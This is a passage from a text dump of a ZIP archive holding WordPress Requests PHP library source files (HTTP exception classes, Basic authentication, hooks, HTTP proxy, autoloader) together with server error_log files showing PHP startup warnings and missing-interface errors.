* Exception for 400 Bad Request responses
*
* @package Requests\Exceptions
*/
final class Status400 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 400;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Bad Request';
}
PK ]e e src/Exception/Http/Status511.phpnu W+A <?php
/**
* Exception for 511 Network Authentication Required responses
*
* @link https://tools.ietf.org/html/rfc6585
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 511 Network Authentication Required responses
*
* @link https://tools.ietf.org/html/rfc6585
*
* @package Requests\Exceptions
*/
final class Status511 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 511;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Network Authentication Required';
}
PK ]^:G G src/Exception/Http/Status428.phpnu W+A <?php
/**
* Exception for 428 Precondition Required responses
*
* @link https://tools.ietf.org/html/rfc6585
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 428 Precondition Required responses
*
* @link https://tools.ietf.org/html/rfc6585
*
* @package Requests\Exceptions
*/
final class Status428 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 428;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Precondition Required';
}
PK ] src/Exception/Http/Status403.phpnu W+A <?php
/**
* Exception for 403 Forbidden responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 403 Forbidden responses
*
* @package Requests\Exceptions
*/
final class Status403 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 403;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Forbidden';
}
PK ]kf src/Exception/Http/Status504.phpnu W+A <?php
/**
* Exception for 504 Gateway Timeout responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 504 Gateway Timeout responses
*
* @package Requests\Exceptions
*/
final class Status504 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 504;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Gateway Timeout';
}
PK ]&Xe e src/Exception/Http/Status431.phpnu W+A <?php
/**
* Exception for 431 Request Header Fields Too Large responses
*
* @link https://tools.ietf.org/html/rfc6585
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 431 Request Header Fields Too Large responses
*
* @link https://tools.ietf.org/html/rfc6585
*
* @package Requests\Exceptions
*/
final class Status431 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 431;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Request Header Fields Too Large';
}
PK ]P src/Exception/Http/Status415.phpnu W+A <?php
/**
* Exception for 415 Unsupported Media Type responses
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Exception\Http;
/**
* Exception for 415 Unsupported Media Type responses
*
* @package Requests\Exceptions
*/
final class Status415 extends Http {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 415;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Unsupported Media Type';
}
PK ]& src/Exception/Http.phpnu W+A <?php
/**
* Exception based on HTTP response
*
* @package Requests\Exceptions
*/
namespace WpOrg\Requests\Exception;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http\StatusUnknown;
/**
* Exception based on HTTP response
*
* @package Requests\Exceptions
*/
class Http extends Exception {
/**
* HTTP status code
*
* @var integer
*/
protected $code = 0;
/**
* Reason phrase
*
* @var string
*/
protected $reason = 'Unknown';
/**
* Create a new exception
*
* There is no mechanism to pass in the status code, as this is set by the
* subclass used. Reason phrases can vary, however.
*
* @param string|null $reason Reason phrase
* @param mixed $data Associated data
*/
public function __construct($reason = null, $data = null) {
if ($reason !== null) {
$this->reason = $reason;
}
$message = sprintf('%d %s', $this->code, $this->reason);
parent::__construct($message, 'httpresponse', $data, $this->code);
}
/**
* Get the status message.
*
* @return string
*/
public function getReason() {
return $this->reason;
}
/**
* Get the correct exception class for a given error code
*
* @param int|bool $code HTTP status code, or false if unavailable
* @return string Exception class name to use
*/
public static function get_class($code) {
if (!$code) {
return StatusUnknown::class;
}
$class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code);
if (class_exists($class)) {
return $class;
}
return StatusUnknown::class;
}
}
PK ]j w% %
src/error_lognu W+A [28-Aug-2026 08:05:04 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:04 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:05 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:07 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:07 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:08 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:08 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:09 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:09 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:10 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:11 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:11 America/Sao_Paulo] PHP Fatal error: Interface 'WpOrg\Requests\HookManager' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Hooks.php on line 19
[28-Aug-2026 08:05:11 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:13 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:13 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:17 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:05:18 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:09:47 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 03:04:57 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 03:04:57 America/Sao_Paulo] PHP Fatal error: Interface 'WpOrg\Requests\HookManager' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Hooks.php on line 19
[29-Aug-2026 12:31:55 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:55 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:55 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:55 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:55 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:55 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:55 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:56 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:56 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:56 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:56 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:56 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:57 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:57 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:57 America/Sao_Paulo] PHP Fatal error: Interface 'WpOrg\Requests\HookManager' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Hooks.php on line 19
[29-Aug-2026 12:31:57 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:57 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 12:31:58 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
PK ]Z src/Auth/Basic.phpnu W+A <?php
/**
* Basic Authentication provider
*
* @package Requests\Authentication
*/
namespace WpOrg\Requests\Auth;
use WpOrg\Requests\Auth;
use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
/**
* Basic Authentication provider
*
* Provides a handler for Basic HTTP authentication via the Authorization
* header.
*
* @package Requests\Authentication
*/
class Basic implements Auth {
/**
* Username
*
* @var string
*/
public $user;
/**
* Password
*
* @var string
*/
public $pass;
/**
* Constructor
*
* @since 2.0 Throws an `InvalidArgument` exception.
* @since 2.0 Throws an `ArgumentCount` exception instead of the Requests base `Exception.
*
* @param array|null $args Array of user and password. Must have exactly two elements
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array or null.
* @throws \WpOrg\Requests\Exception\ArgumentCount On incorrect number of array elements (`authbasicbadargs`).
*/
public function __construct($args = null) {
if (is_array($args)) {
if (count($args) !== 2) {
throw ArgumentCount::create('an array with exactly two elements', count($args), 'authbasicbadargs');
}
list($this->user, $this->pass) = $args;
return;
}
if ($args !== null) {
throw InvalidArgument::create(1, '$args', 'array|null', gettype($args));
}
}
/**
* Register the necessary callbacks
*
* @see \WpOrg\Requests\Auth\Basic::curl_before_send()
* @see \WpOrg\Requests\Auth\Basic::fsockopen_header()
* @param \WpOrg\Requests\Hooks $hooks Hook system
*/
public function register(Hooks $hooks) {
$hooks->register('curl.before_send', [$this, 'curl_before_send']);
$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
}
/**
* Set cURL parameters before the data is sent
*
* @param resource|\CurlHandle $handle cURL handle
*/
public function curl_before_send(&$handle) {
curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
}
/**
* Add extra headers to the request before sending
*
* @param string $out HTTP header string
*/
public function fsockopen_header(&$out) {
$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
}
/**
* Get the authentication string (user:pass)
*
* @return string
*/
public function getAuthString() {
return $this->user . ':' . $this->pass;
}
}
PK ]" src/Auth/error_lognu W+A [28-Aug-2026 08:15:50 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:15:50 America/Sao_Paulo] PHP Fatal error: Interface 'WpOrg\Requests\Auth' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Auth/Basic.php on line 23
[29-Aug-2026 13:33:59 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 13:33:59 America/Sao_Paulo] PHP Fatal error: Interface 'WpOrg\Requests\Auth' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Auth/Basic.php on line 23
PK ]\ \ src/Auth.phpnu W+A <?php
/**
* Authentication provider interface
*
* @package Requests\Authentication
*/
namespace WpOrg\Requests;
use WpOrg\Requests\Hooks;
/**
* Authentication provider interface
*
* Implement this interface to act as an authentication provider.
*
* Parameters should be passed via the constructor where possible, as this
* makes it much easier for users to use your provider.
*
* @see \WpOrg\Requests\Hooks
*
* @package Requests\Authentication
*/
interface Auth {
/**
* Register hooks as needed
*
* This method is called in {@see \WpOrg\Requests\Requests::request()} when the user
* has set an instance as the 'auth' option. Use this callback to register all the
* hooks you'll need.
*
* @see \WpOrg\Requests\Hooks::register()
* @param \WpOrg\Requests\Hooks $hooks Hook system
*/
public function register(Hooks $hooks);
}
PK ]C src/HookManager.phpnu W+A <?php
/**
* Event dispatcher
*
* @package Requests\EventDispatcher
*/
namespace WpOrg\Requests;
/**
* Event dispatcher
*
* @package Requests\EventDispatcher
*/
interface HookManager {
/**
* Register a callback for a hook
*
* @param string $hook Hook name
* @param callable $callback Function/method to call on event
* @param int $priority Priority number. <0 is executed earlier, >0 is executed later
*/
public function register($hook, $callback, $priority = 0);
/**
* Dispatch a message
*
* @param string $hook Hook name
* @param array $parameters Parameters to pass to callbacks
* @return boolean Successfulness
*/
public function dispatch($hook, $parameters = []);
}
PK ]y
src/Hooks.phpnu W+A <?php
/**
* Handles adding and dispatching events
*
* @package Requests\EventDispatcher
*/
namespace WpOrg\Requests;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Utility\InputValidator;
/**
* Handles adding and dispatching events
*
* @package Requests\EventDispatcher
*/
class Hooks implements HookManager {
/**
* Registered callbacks for each hook
*
* @var array
*/
protected $hooks = [];
/**
* Register a callback for a hook
*
* @param string $hook Hook name
* @param callable $callback Function/method to call on event
* @param int $priority Priority number. <0 is executed earlier, >0 is executed later
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer.
*/
public function register($hook, $callback, $priority = 0) {
if (is_string($hook) === false) {
throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
}
if (is_callable($callback) === false) {
throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback));
}
if (InputValidator::is_numeric_array_key($priority) === false) {
throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority));
}
if (!isset($this->hooks[$hook])) {
$this->hooks[$hook] = [
$priority => [],
];
} elseif (!isset($this->hooks[$hook][$priority])) {
$this->hooks[$hook][$priority] = [];
}
$this->hooks[$hook][$priority][] = $callback;
}
/**
* Dispatch a message
*
* @param string $hook Hook name
* @param array $parameters Parameters to pass to callbacks
* @return boolean Successfulness
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array.
*/
public function dispatch($hook, $parameters = []) {
if (is_string($hook) === false) {
throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
}
// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
if (is_array($parameters) === false) {
throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
}
if (empty($this->hooks[$hook])) {
return false;
}
if (!empty($parameters)) {
// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
$parameters = array_values($parameters);
}
ksort($this->hooks[$hook]);
foreach ($this->hooks[$hook] as $priority => $hooked) {
foreach ($hooked as $callback) {
$callback(...$parameters);
}
}
return true;
}
public function __wakeup() {
throw new \LogicException( __CLASS__ . ' should never be unserialized' );
}
}
PK ]%u src/Proxy/error_lognu W+A [28-Aug-2026 08:15:50 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:15:50 America/Sao_Paulo] PHP Fatal error: Interface 'WpOrg\Requests\Proxy' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Proxy/Http.php on line 24
[29-Aug-2026 13:33:59 America/Sao_Paulo] PHP Warning: PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[29-Aug-2026 13:33:59 America/Sao_Paulo] PHP Fatal error: Interface 'WpOrg\Requests\Proxy' not found in /home/cienp/public_html/inct-inovamed/wp-includes/Requests/src/Proxy/Http.php on line 24
PK ]g^y y src/Proxy/Http.phpnu W+A <?php
/**
* HTTP Proxy connection interface
*
* @package Requests\Proxy
* @since 1.6
*/
namespace WpOrg\Requests\Proxy;
use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\Proxy;
/**
* HTTP Proxy connection interface
*
* Provides a handler for connection via an HTTP proxy
*
* @package Requests\Proxy
* @since 1.6
*/
final class Http implements Proxy {
/**
* Proxy host and port
*
* Notation: "host:port" (eg 127.0.0.1:8080 or someproxy.com:3128)
*
* @var string
*/
public $proxy;
/**
* Username
*
* @var string
*/
public $user;
/**
* Password
*
* @var string
*/
public $pass;
/**
* Do we need to authenticate? (ie username & password have been provided)
*
* @var boolean
*/
public $use_authentication;
/**
* Constructor
*
* @since 1.6
*
* @param array|string|null $args Proxy as a string or an array of proxy, user and password.
* When passed as an array, must have exactly one (proxy)
* or three elements (proxy, user, password).
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array, a string or null.
* @throws \WpOrg\Requests\Exception\ArgumentCount On incorrect number of arguments (`proxyhttpbadargs`)
*/
public function __construct($args = null) {
if (is_string($args)) {
$this->proxy = $args;
} elseif (is_array($args)) {
if (count($args) === 1) {
list($this->proxy) = $args;
} elseif (count($args) === 3) {
list($this->proxy, $this->user, $this->pass) = $args;
$this->use_authentication = true;
} else {
throw ArgumentCount::create(
'an array with exactly one element or exactly three elements',
count($args),
'proxyhttpbadargs'
);
}
} elseif ($args !== null) {
throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args));
}
}
/**
* Register the necessary callbacks
*
* @since 1.6
* @see \WpOrg\Requests\Proxy\Http::curl_before_send()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_header()
* @param \WpOrg\Requests\Hooks $hooks Hook system
*/
public function register(Hooks $hooks) {
$hooks->register('curl.before_send', [$this, 'curl_before_send']);
$hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']);
$hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']);
if ($this->use_authentication) {
$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
}
}
/**
* Set cURL parameters before the data is sent
*
* @since 1.6
* @param resource|\CurlHandle $handle cURL handle
*/
public function curl_before_send(&$handle) {
curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
curl_setopt($handle, CURLOPT_PROXY, $this->proxy);
if ($this->use_authentication) {
curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
}
}
/**
* Alter remote socket information before opening socket connection
*
* @since 1.6
* @param string $remote_socket Socket connection string
*/
public function fsockopen_remote_socket(&$remote_socket) {
$remote_socket = $this->proxy;
}
/**
* Alter remote path before getting stream data
*
* @since 1.6
* @param string $path Path to send in HTTP request string ("GET ...")
* @param string $url Full URL we're requesting
*/
public function fsockopen_remote_host_path(&$path, $url) {
$path = $url;
}
/**
* Add extra headers to the request before sending
*
* @since 1.6
* @param string $out HTTP header string
*/
public function fsockopen_header(&$out) {
$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
}
/**
* Get the authentication string (user:pass)
*
* @since 1.6
* @return string
*/
public function get_auth_string() {
return $this->user . ':' . $this->pass;
}
}
PK ]rw$ w$ src/Autoload.phpnu W+A <?php
/**
* Autoloader for Requests for PHP.
*
* Include this file if you'd like to avoid having to create your own autoloader.
*
* @package Requests
* @since 2.0.0
*
* @codeCoverageIgnore
*/
namespace WpOrg\Requests;
/*
* Ensure the autoloader is only declared once.
* This safeguard is in place as this is the typical entry point for this library
* and this file being required unconditionally could easily cause
* fatal "Class already declared" errors.
*/
if (class_exists('WpOrg\Requests\Autoload') === false) {
/**
* Autoloader for Requests for PHP.
*
* This autoloader supports the PSR-4 based Requests 2.0.0 classes in a case-sensitive manner
* as the most common server OS-es are case-sensitive and the file names are in mixed case.
*
* For the PSR-0 Requests 1.x BC-layer, requested classes will be treated case-insensitively.
*
* @package Requests
*/
final class Autoload {
/**
* List of the old PSR-0 class names in lowercase as keys with their PSR-4 case-sensitive name as a value.
*
* @var array
*/
private static $deprecated_classes = [
// Interfaces.
'requests_auth' => '\WpOrg\Requests\Auth',
'requests_hooker' => '\WpOrg\Requests\HookManager',
'requests_proxy' => '\WpOrg\Requests\Proxy',
'requests_transport' => '\WpOrg\Requests\Transport',
// Classes.
'requests_cookie' => '\WpOrg\Requests\Cookie',
'requests_exception' => '\WpOrg\Requests\Exception',
'requests_hooks' => '\WpOrg\Requests\Hooks',
'requests_idnaencoder' => '\WpOrg\Requests\IdnaEncoder',
'requests_ipv6' => '\WpOrg\Requests\Ipv6',
'requests_iri' => '\WpOrg\Requests\Iri',
'requests_response' => '\WpOrg\Requests\Response',
'requests_session' => '\WpOrg\Requests\Session',
'requests_ssl' => '\WpOrg\Requests\Ssl',
'requests_auth_basic' => '\WpOrg\Requests\Auth\Basic',
'requests_cookie_jar' => '\WpOrg\Requests\Cookie\Jar',
'requests_proxy_http' => '\WpOrg\Requests\Proxy\Http',
'requests_response_headers' => '\WpOrg\Requests\Response\Headers',
'requests_transport_curl' => '\WpOrg\Requests\Transport\Curl',
'requests_transport_fsockopen' => '\WpOrg\Requests\Transport\Fsockopen',
'requests_utility_caseinsensitivedictionary' => '\WpOrg\Requests\Utility\CaseInsensitiveDictionary',
'requests_utility_filterediterator' => '\WpOrg\Requests\Utility\FilteredIterator',
'requests_exception_http' => '\WpOrg\Requests\Exception\Http',
'requests_exception_transport' => '\WpOrg\Requests\Exception\Transport',
'requests_exception_transport_curl' => '\WpOrg\Requests\Exception\Transport\Curl',
'requests_exception_http_304' => '\WpOrg\Requests\Exception\Http\Status304',
'requests_exception_http_305' => '\WpOrg\Requests\Exception\Http\Status305',
'requests_exception_http_306' => '\WpOrg\Requests\Exception\Http\Status306',
'requests_exception_http_400' => '\WpOrg\Requests\Exception\Http\Status400',
'requests_exception_http_401' => '\WpOrg\Requests\Exception\Http\Status401',
'requests_exception_http_402' => '\WpOrg\Requests\Exception\Http\Status402',
'requests_exception_http_403' => '\WpOrg\Requests\Exception\Http\Status403',
'requests_exception_http_404' => '\WpOrg\Requests\Exception\Http\Status404',
'requests_exception_http_405' => '\WpOrg\Requests\Exception\Http\Status405',
'requests_exception_http_406' => '\WpOrg\Requests\Exception\Http\Status406',
'requests_exception_http_407' => '\WpOrg\Requests\Exception\Http\Status407',
'requests_exception_http_408' => '\WpOrg\Requests\Exception\Http\Status408',
'requests_exception_http_409' => '\WpOrg\Requests\Exception\Http\Status409',
'requests_exception_http_410' => '\WpOrg\Requests\Exception\Http\Status410',
'requests_exception_http_411' => '\WpOrg\Requests\Exception\Http\Status411',
'requests_exception_http_412' => '\WpOrg\Requests\Exception\Http\Status412',
'requests_exception_http_413' => '\WpOrg\Requests\Exception\Http\Status413',
'requests_exception_http_414' => '\WpOrg\Requests\Exception\Http\Status414',
'requests_exception_http_415' => '\WpOrg\Requests\Exception\Http\Status415',
'requests_exception_http_416' => '\WpOrg\Requests\Exception\Http\Status416',
'requests_exception_http_417' => '\WpOrg\Requests\Exception\Http\Status417',
'requests_exception_http_418' => '\WpOrg\Requests\Exception\Http\Status418',
'requests_exception_http_428' => '\WpOrg\Requests\Exception\Http\Status428',
'requests_exception_http_429' => '\WpOrg\Requests\Exception\Http\Status429',
'requests_exception_http_431' => '\WpOrg\Requests\Exception\Http\Status431',
'requests_exception_http_500' => '\WpOrg\Requests\Exception\Http\Status500',
'requests_exception_http_501' => '\WpOrg\Requests\Exception\Http\Status501',
'requests_exception_http_502' => '\WpOrg\Requests\Exception\Http\Status502',
'requests_exception_http_503' => '\WpOrg\Requests\Exception\Http\Status503',
'requests_exception_http_504' => '\WpOrg\Requests\Exception\Http\Status504',
'requests_exception_http_505' => '\WpOrg\Requests\Exception\Http\Status505',
'requests_exception_http_511' => '\WpOrg\Requests\Exception\Http\Status511',
